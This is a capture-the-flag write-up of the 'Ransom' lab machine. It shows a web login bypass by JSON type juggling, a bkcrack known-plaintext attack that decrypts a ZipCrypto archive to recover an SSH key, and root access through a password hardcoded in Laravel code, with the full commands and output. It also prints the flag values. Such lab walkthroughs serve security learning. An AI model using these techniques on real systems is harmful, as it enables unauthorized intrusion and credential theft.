

0x1 Scan

```
E offsec/random git:(master) ► rustscan --ulimit 1000 -a 10.10.11.153 -- -sC -sV -Pn --script=default
```

```
| O | H | O | C | L | C | H | L | / | _ | _ | } | O | \ | N |  
| : . | \ | { | } | : . | } | } | | : . | } | \ | H | \ | \ | \ |  
|-----|
```

The Modern Day Port Scanner.

```
|-----|  
: https://discord.gg/6FrQs6y      :  
: https://github.com/RustScan/RustScan :  
|-----|
```

👉 <https://admin.tryhackme.com>

```
[~] The config file is expected to be at "/home/khant/.rustscan.toml"  
[~] Automatically increasing ulimit value to 1000.  
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers  
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.  
Open 10.10.11.153:22  
Open 10.10.11.153:80  
█
```

```
PORT STATE SERVICE REASON VERSION
22/tcp open  ssh      syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open  http      syn-ack Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
|_http-methods:
|_ Supported Methods: GET HEAD OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Admin - HTML5 Admin Template
|_Requested resource was http://10.10.11.153/login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

0x2 HTTP (80)

Looks like normal website.

E Corp Incident Response Secure File Transfer

LOGIN

Please enter the password provided to you in order to send files to the E Corp Engineers.

Login

Feroxbuster

I tried looking for URLs and found new URL

- register

```
offsec/ransom git:(master) > feroxbuster -u http://10.10.11.153/ -k -w ~/.local/wordlists/dirbuster/directory-list-2.3-medium.txt -o ransom.80.out -n
```


by Ben "epi" Risher


ver: 2.7.3


| | |
|-----------------------|--|
| Target Url | http://10.10.11.153/ |
| Threads | 50 |
| Wordlist | /home/khant/.local/wordlists/dirbuster/directory-list-2.3-medium.txt |
| Status Codes | [200, 204, 301, 302, 307, 308, 401, 403, 405, 500] |
| Timeout (secs) | 7 |
| User-Agent | feroxbuster/2.7.3 |
| Output File | ransom.80.out |
| HTTP methods | [GET] |
| Insecure | true |
| Do Not Recurse | true |
| New Version Available | https://github.com/epi052/feroxbuster/releases/latest |

Press [ENTER] to use the Scan Management Menu™

```
302 GET 12L 22w 346c http://10.10.11.153/ => http://10.10.11.153/login
200 GET 172L 372w 6104c http://10.10.11.153/login
500 GET 217L 17833w 0c http://10.10.11.153/register
301 GET 9L 28w 310c http://10.10.11.153/css => http://10.10.11.153/css/
301 GET 9L 28w 309c http://10.10.11.153/js => http://10.10.11.153/js/
301 GET 9L 28w 312c http://10.10.11.153/fonts => http://10.10.11.153/fonts/
[####>-----] - 8m 50176/220546 29m found:6 errors:0
[####>-----] - 8m 50173/220546 96/s http://10.10.11.153/
```

/register

It appears the route is disabled.

 /srv/prod/

BadMethodCallException

Method App\Http\Controllers\AuthController::show_register does not exist.

<http://10.10.11.153/register>

Hide solutions

Bad Method Call

Did you mean App\Http\Controllers\AuthController::show_login() ?

Stack traceRequestAppUserContextDebugShare

Expand vendor frames

| | | |
|-----|--|-----|
| ↑ ↓ | | |
| 45 | vendor/laravel/framework/src/Illuminate/Routing/Controller.php | |
| 44 | Illuminate\Routing\Controller | :68 |
| 44 | Illuminate\Routing\Controller | :54 |
| + | 42 vendor frames... | |
| 1 | public/index.php | :52 |

Illuminate\Routing\Controller::__call

vendor/laravel/framework/src/Illuminate/Routing/Controller.php:68

```
43     }
44
45     /**
46      * Execute an action on the controller.
47      *
48      * @param string $method
49      * @param array $parameters
50      * @return \Symfony\Component\HttpFoundation\Response
51      */
52     public function callAction($method, $parameters)
53     {
54         return $this->{$method}(...array_values($parameters));
55     }
```

/login (login bypass via type juggling)

- I try changing to POST method with Brupsuite and it failed with method not allowed.
- I try sending GET method with HTTP body and also failed (which is expected).

- I try sending GET method with JSON body this time and it works.

```
Request to http://10.10.11.153:80
Forward Drop Intercept is on Action Open Browser
Pretty Raw Hex
1 GET /api/login HTTP/1.1
2 Host: 10.10.11.153
3 Accept: */*
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
5 X-Requested-With: XMLHttpRequest
6 Referer: http://10.10.11.153/login
7 Accept-Encoding: gzip, deflate
8 Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
9 Cookie: XSRF-TOKEN=eyJpdiI6ImtrYys2M1hIUFPidzcObGhzVETabUE9PSIsInZhbnVLIjoib3YrTkVBURaaFJzTEs5VHJZZUhmblJhRzN3cGlxQ1p6ZEthdVl2ZkZxcHo3Vi9zSDd0enErK2w4TVQ1VlZZKzRxK3R0Y0hwV
TcrdNY0cU1JQ1J4TjlnUURM2GJzQV01azJZWVhpa3c5SHRHLyt0dU03vYtJK00yOHlNajZ2NFkiLCJtYWMiOiJlMzViZDE1OGZkMGIwMzY3ZGZlNzczNzZMT1MmYxMGQwNzcwZWFnN2MxNzA4MTg5Mw
UxM2Q4MjQyNTc1ZjNiIiwidGFniJoiIn0%3D; laravel_session=eyJpdiI6IldkbWlabjdHR0pVVEpmSxhLN1JYb1E9PSIsInZhbnVLIjoic0dr3plYU01a000Y2E1L3k0ODFEB2JuekJONHRmNkVpRXA0S1djSVp1YnphNVNVNm1yU3NHajNoRUg5THJxwLF0ZjheRHR1Z
HUyNzk0Tm9aMWhuVWZkMVR5NLVROE1RR3A2N25jaUt2Ly9MYVQwVWVRCBremFxbUw1aklwGwG1LCJtYWMiOiJjZmZkZTAxYTASMjJjMTE1YjNiMGE4ZGM5YzViYW1zMDI1N2U0OWYzMDAyNTY4Mjg5M2
U1NzMXQGE1YjVjOGQ2IiwidGFniJoiIn0%3D
10 Connection: close
11 Content-Type: application/json
12 Content-Length: 14
13
14 {
15   "password": "admin"
16 }
```

Type Juggling

Since JSON body is allowed, I try sending `true` and it works.

```
Pretty Raw Hex
1 GET /api/login HTTP/1.1
2 Host: 10.10.11.153
3 Accept: */*
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
5 X-Requested-With: XMLHttpRequest
6 Referer: http://10.10.11.153/login
7 Accept-Encoding: gzip, deflate
8 Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
9 Cookie: XSRF-TOKEN=eyJpdiI6ImtrYys2M1hIUFPidzcObGhzVETabUE9PSIsInZhbnVLIjoib3YrTkVBURaaFJzTEs5VHJZZUhmblJhRzN3cGlxQ1p6ZEthdVl2ZkZxcHo3Vi9zSDd0enErK2w4TVQ1VlZZKzRxK3R0Y0hwV
TcrdNY0cU1JQ1J4TjlnUURM2GJzQV01azJZWVhpa3c5SHRHLyt0dU03vYtJK00yOHlNajZ2NFkiLCJtYWMiOiJlMzViZDE1OGZkMGIwMzY3ZGZlNzczNzZMT1MmYxMGQwNzcwZWFnN2MxNzA4MTg5Mw
UxM2Q4MjQyNTc1ZjNiIiwidGFniJoiIn0%3D; laravel_session=eyJpdiI6IldkbWlabjdHR0pVVEpmSxhLN1JYb1E9PSIsInZhbnVLIjoic0dr3plYU01a000Y2E1L3k0ODFEB2JuekJONHRmNkVpRXA0S1djSVp1YnphNVNVNm1yU3NHajNoRUg5THJxwLF0ZjheRHR1Z
HUyNzk0Tm9aMWhuVWZkMVR5NLVROE1RR3A2N25jaUt2Ly9MYVQwVWVRCBremFxbUw1aklwGwG1LCJtYWMiOiJjZmZkZTAxYTASMjJjMTE1YjNiMGE4ZGM5YzViYW1zMDI1N2U0OWYzMDAyNTY4Mjg5M2
U1NzMXQGE1YjVjOGQ2IiwidGFniJoiIn0%3D
10 Connection: close
11 Content-Type: application/json
12 Content-Length: 14
13
14 {
15   "password": true
16 }
```

E Corp Incident Response Secure File Transfer

| Files Sent by the Client | | | |
|--------------------------|-------------------|--------------------------|--------------------------|
| # | Title | Description | Link |
| 1 | homedirectory.zip | Encrypted Home Directory | download |
| 2 | user.txt | The User Flag | download |
| | | | |

I found `user.txt`

- <http://10.10.11.153/user.txt>

Home directory

I downloaded *homedirectory.zip*, it is encrypted and according to 7zip, there's *.ssh* inside which is possibly our foothold.

```
E offsec/ransom git:(master) ▶ 7z l uploaded-file-3422.zip

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,6 CPUs Intel(R) Core(TM) i5-9600K CPU @ 3.70GHz (906EC),ASM,AES-NI)

Scanning the drive for archives:
1 file, 7735 bytes (8 KiB)

Listing archive: uploaded-file-3422.zip

--
Path = uploaded-file-3422.zip
Type = zip
Physical Size = 7735

  Date       Time       Attr      Size  Compressed  Name
-----
2020-02-25 20:03:22 .....    220      170  .bash_logout
2020-02-25 20:03:22 .....   3771     1752  .bashrc
2020-02-25 20:03:22 .....    807      404  .profile
2021-07-03 02:58:14 D....      0        0  .cache
2021-07-03 02:58:14 .....    12        12  .cache/motd.legal-displayed
2021-07-03 02:58:19 .....      0        12  .sudo_as_admin_successful
2022-03-07 20:32:54 D....      0        0  .ssh
2022-03-07 20:32:25 .....   2610     1990  .ssh/id_rsa
2022-03-07 20:32:46 .....    564      475  .ssh/authorized_keys
2022-03-07 20:32:54 .....    564      475  .ssh/id_rsa.pub
2022-03-07 20:32:54 .....   2009      581  .viminfo
-----
2022-03-07 20:32:54   10545     5871  9 files, 2 folders
E offsec/ransom git:(master) ▶
```

Zip2John is probably a way to go for most cases, however there's also another way for cracking the encrypted zip file.

- Modern encryption uses AES 256, however legacy zip encryption is *ZipCrypto*.
- The attack is basically finding a file with same text as any file in the zip, and abusing that to recover entire zip file.

I can confirm the encryption algorithm is indeed ZipCrypto as below.

```
E offsec/ransom git:(master) ▶ 7z l -slt uploaded-file-3422.zip

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,6 CPUs Intel(R) Core(TM) i5-9600K CPU @ 3.70GHz (906EC),ASM,AES-NI)

Scanning the drive for archives:
1 file, 7735 bytes (8 KiB)

Listing archive: uploaded-file-3422.zip

--
Path = uploaded-file-3422.zip
Type = zip
Physical Size = 7735

-----
Path = .bash_logout
Folder = -
Size = 220
Packed Size = 170
Modified = 2020-02-25 20:03:22
Created =
Accessed =
Attributes = _ -rw-r--r--
Encrypted = +
Comment =
CRC = 6CE3189B
Method = ZipCrypto Deflate
Host OS = Unix
Version = 20
Volume Index = 0
```

I copied my `~/.bash_logout` and check the CRC and it is indeed the same.

```
≡ offsec/ransom git:(master) ► python3
Python 3.9.2 (default, Feb 28 2021, 17:03:44)
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import binascii
>>> with open('./my_bash_logout', 'rb') as f:
...     data = f.read()
...
>>> hex(binascii.crc32(data) & 0xFFFFFFFF)
'0x6ce3189b'
>>> █
```

recovering zip file with bkcrack

Using this tool below to execute the attack.

- <https://github.com/kimci86/bkcrack/>

I will run `bkcrack` for internal keys. The attack is basically

- extract key of the zip file
- using the extracted key, generate new encrypted zip with a password we define

First I extract the key

```
≡ offsec/ransom git:(master) ► zip bash_logout.zip my_bash_logout
adding: my_bash_logout (deflated 28%)
≡ offsec/ransom git:(master) ► bkcrack -C uploaded-file-3422.zip -c .bash_logout -P bash_logout.zip -p my_bash_logout
bkcrack 1.5.0 - 2022-07-07
[21:52:28] Z reduction using 151 bytes of known plaintext
100.0 % (151 / 151)
[21:52:28] Attack on 56903 Z values at index 6
Keys: 7b549874 ebc25ec5 7e465e18
75.6 % (43018 / 56903)
[21:53:08] Keys
7b549874 ebc25ec5 7e465e18
≡ offsec/ransom git:(master) ► █
```

Create a new zip with password `password`

```
≡ offsec/ransom git:(master) ► bkcrack -C uploaded-file-3422.zip -k 7b549874 ebc25ec5 7e465e18 -U uploaded-file-3422-new.zip password
bkcrack 1.5.0 - 2022-07-07
[21:56:27] Writing unlocked archive uploaded-file-3422-new.zip with password "password"
100.0 % (9 / 9)
Wrote unlocked archive.
≡ offsec/ransom git:(master) ► █
```

Then I unzip the new zip file.

```
≡ offsec/ransom git:(master) ► unzip uploaded-file-3422-new.zip -d homedir
Archive:  uploaded-file-3422-new.zip
[uploaded-file-3422-new.zip] .bash_logout password:
  inflating: homedir/.bash_logout
  inflating: homedir/.bashrc
  inflating: homedir/.profile
  creating: homedir/.cache/
 extracting: homedir/.cache/motd.legal-displayed
 extracting: homedir/.sudo_as_admin_successful
  creating: homedir/.ssh/
  inflating: homedir/.ssh/id_rsa
  inflating: homedir/.ssh/authorized_keys
  inflating: homedir/.ssh/id_rsa.pub
  inflating: homedir/.viminfo
≡ offsec/ransom git:(master) ►
```

ssh keys

I check SSH keys. Public key ends with `htb@ransom`, from that I can assume that username is `htb`.

```
≡ offsec/ransom git:(master) ► cat homedir/.ssh/id_rsa.pub -p
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQGDwQDTHWkTwORUfAyZj9U3Dh+Zwh0UvB4EewA+z6uSunsTo3YA06V/j6Ea0wNq6jdpNrb9T6tI+RpnfA+icFj+6oRj8h0a2q1QPfbae
yR7Jf6juauZM/DehjJJ6fqmeuZ2Yd2Umr4rAt0R40EAcWp0X94Tp+JByPAT5m0CU557KyarNlW60vy79njr8DR8BljDtJ4n9Bc0PtEn+7oYvcLVksgM4LB9XzdDiXzdpBcyi3+xfZnF
v+rM6QP5Zqo6d3iz8M9yZEH8d9UQSSyym/te076rCax63tb6LYgUoUPxVFCEN4RmZW1VuQ6vxtfhu/rK5ofQPac8uaZskY3NWL0SF56BQqE69waI4pCF5/Cq413N6/M= htb@ransom
≡ offsec/ransom git:(master) ►
```

Using that I can login as user `htb`

```
≡ offsec/ransom git:(master) ► ssh htb@10.10.11.153 -i homedir/.ssh/id_rsa -o "UserKnownHostsFile=/dev/null"
The authenticity of host '10.10.11.153 (10.10.11.153)' can't be established.
ECDSA key fingerprint is SHA256:tT45oQAnI0hn0IQg3ZvtoS4RG00xhxxBJua12YRVv2g.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.153' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-77-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

0 updates can be applied immediately.

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Mon Jul  5 11:34:49 2021
htb@ransom:~$
```

0x3 Foothold (htb)

user.txt

```

htb@ransom:~$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b9:ae:76 brd ff:ff:ff:ff:ff:ff
    inet 10.10.11.153/23 brd 10.10.11.255 scope global ens160
        valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:ae76/64 scope global dynamic mngtmpaddr
        valid_lft 86398sec preferred_lft 14398sec
    inet6 fe80::250:56ff:feb9:ae76/64 scope link
        valid_lft forever preferred_lft forever
htb@ransom:~$ hostname
ransom
htb@ransom:~$ cat user.txt
190c8ff80a898bf23a140e326ce7afd1
htb@ransom:~$ █

```

Privilege escalation

Apache

I found Apache installed at `/etc/apache`

```

htb@ransom:~$ ls /etc/apache2/
apache2.conf  conf-available  conf-enabled  envvars  magic  mods-available  mods-enabled  ports.conf  sites-available  sites-enabled
htb@ransom:~$ ls /etc/apache2/sites-enabled/
000-default.conf
htb@ransom:~$ █

```

Inside I found a web service at `/srv/prod/public`

```

htb@ransom:~$ cat /etc/apache2/sites-enabled/000-default.conf
<VirtualHost *:80>
    ServerAdmin webmaster@localhost
    DocumentRoot /srv/prod/public

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
    <Directory /srv/prod/public>
        Options +FollowSymLinks
        AllowOverride All
        Require all granted
    </Directory>

</VirtualHost>
htb@ransom:~$ █

```


I look for potential password inside. First I check *config*

```
htb@ransom:/srv/prod$ ls -al
total 336
drwxr-xr-x 1 www-data www-data 446 Feb 17 2022 .
drwxr-xr-x 1 root      root    8 Mar  7 2022 ..
-rw-r--r-- 1 www-data www-data 258 Feb 17 2022 .editorconfig
-rw-r--r-- 1 www-data www-data 955 Feb 17 2022 .env
-rw-r--r-- 1 www-data www-data 899 Feb 17 2022 .env.example
drwxr-xr-x 1 www-data www-data 144 Feb 17 2022 .git
-rw-r--r-- 1 www-data www-data 152 Feb 17 2022 .gitattributes
-rw-r--r-- 1 www-data www-data 207 Feb 17 2022 .gitignore
-rw-r--r-- 1 www-data www-data 194 Feb 17 2022 .styleci.yml
-rw-r--r-- 1 www-data www-data 3958 Feb 17 2022 README.md
drwxr-xr-x 1 www-data www-data 72 Feb 17 2022 app
-rwxr-xr-x 1 www-data www-data 1686 Feb 17 2022 artisan
drwxr-xr-x 1 www-data www-data 24 Feb 17 2022 bootstrap
-rw-r--r-- 1 www-data www-data 1745 Feb 17 2022 composer.json
-rw-r--r-- 1 www-data www-data 289854 Feb 17 2022 composer.lock
drwxr-xr-x 1 www-data www-data 312 Feb 17 2022 config
drwxr-xr-x 1 www-data www-data 72 Feb 17 2022 database
-rw-r--r-- 1 www-data www-data 473 Feb 17 2022 package.json
-rw-r--r-- 1 www-data www-data 1202 Feb 17 2022 phpunit.xml
drwxr-xr-x 1 www-data www-data 166 Mar 15 2022 public
drwxr-xr-x 1 www-data www-data 28 Feb 17 2022 resources
drwxr-xr-x 1 www-data www-data 74 Mar  7 2022 routes
-rw-r--r-- 1 www-data www-data 563 Feb 17 2022 server.php
drwxr-xr-x 1 www-data www-data 32 Feb 17 2022 storage
drwxr-xr-x 1 www-data www-data 90 Feb 17 2022 tests
drwxr-xr-x 1 www-data www-data 642 Feb 17 2022 vendor
-rw-r--r-- 1 www-data www-data 559 Feb 17 2022 webpack.mix.js
htb@ransom:/srv/prod$
htb@ransom:/srv/prod$ grep -rnw config -e 'password'
config/mail.php:43:      'password' => env('MAIL_PASSWORD'),
config/database.php:53:      'password' => env('DB_PASSWORD', ''),
config/database.php:73:      'password' => env('DB_PASSWORD', ''),
config/database.php:88:      'password' => env('DB_PASSWORD', ''),
config/database.php:132:     'password' => env('REDIS_PASSWORD', null),
config/database.php:140:     'password' => env('REDIS_PASSWORD', null),
config/ hashing.php:27:     | to control the amount of time it takes to hash the given password.
config/ hashing.php:42:     | to control the amount of time it takes to hash the given password.
config/ auth.php:10:     | This option controls the default authentication "guard" and password
config/ auth.php:79:     | You may specify multiple password reset configurations if you have more
config/ auth.php:81:     | separate password reset settings based on the specific user types.
config/ auth.php:103:    | Here you may define the amount of seconds before a password confirmation
config/ auth.php:104:    | times out and the user is prompted to re-enter their password via the
htb@ransom:/srv/prod$
```

password in /srv/prod/app (root password)

I found *password* in *app*

- UHC-March-Global-PW!

```
htb@ransom:/srv/prod$ grep -rnw app -e 'password'
app/Exceptions/Handler.php:26:         'password',
app/Models/User.php:23:         'password',
app/Models/User.php:32:         'password',
app/Models/User.php:46:         * Always encrypt the password when it is updated.
app/Models/User.php:53:         $this->attributes['password'] = bcrypt($value);
app/Http/Kernel.php:66:         'password.confirm' => \Illuminate\Auth\Middleware\RequirePassword::class,
app/Http/Middleware/TrimStrings.php:16:         'password',
app/Http/Controllers/AuthController.php:34:         'password' => 'required',
app/Http/Controllers/AuthController.php:37:         if ($request->get('password') == "UHC-March-Global-PW!") {
htb@ransom:/srv/prod$
```

The password works for root user.

root.txt

```
root@ransom:~# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b9:ae:76 brd ff:ff:ff:ff:ff:ff
    inet 10.10.11.153/23 brd 10.10.11.255 scope global ens160
        valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:ae76/64 scope global dynamic mngtmpaddr
        valid_lft 86399sec preferred_lft 14399sec
    inet6 fe80::250:56ff:feb9:ae76/64 scope link
        valid_lft forever preferred_lft forever
root@ransom:~# hostname
ransom
root@ransom:~# cat root.txt
642d55c65dfd533af13e2a991eb04938
root@ransom:~#
```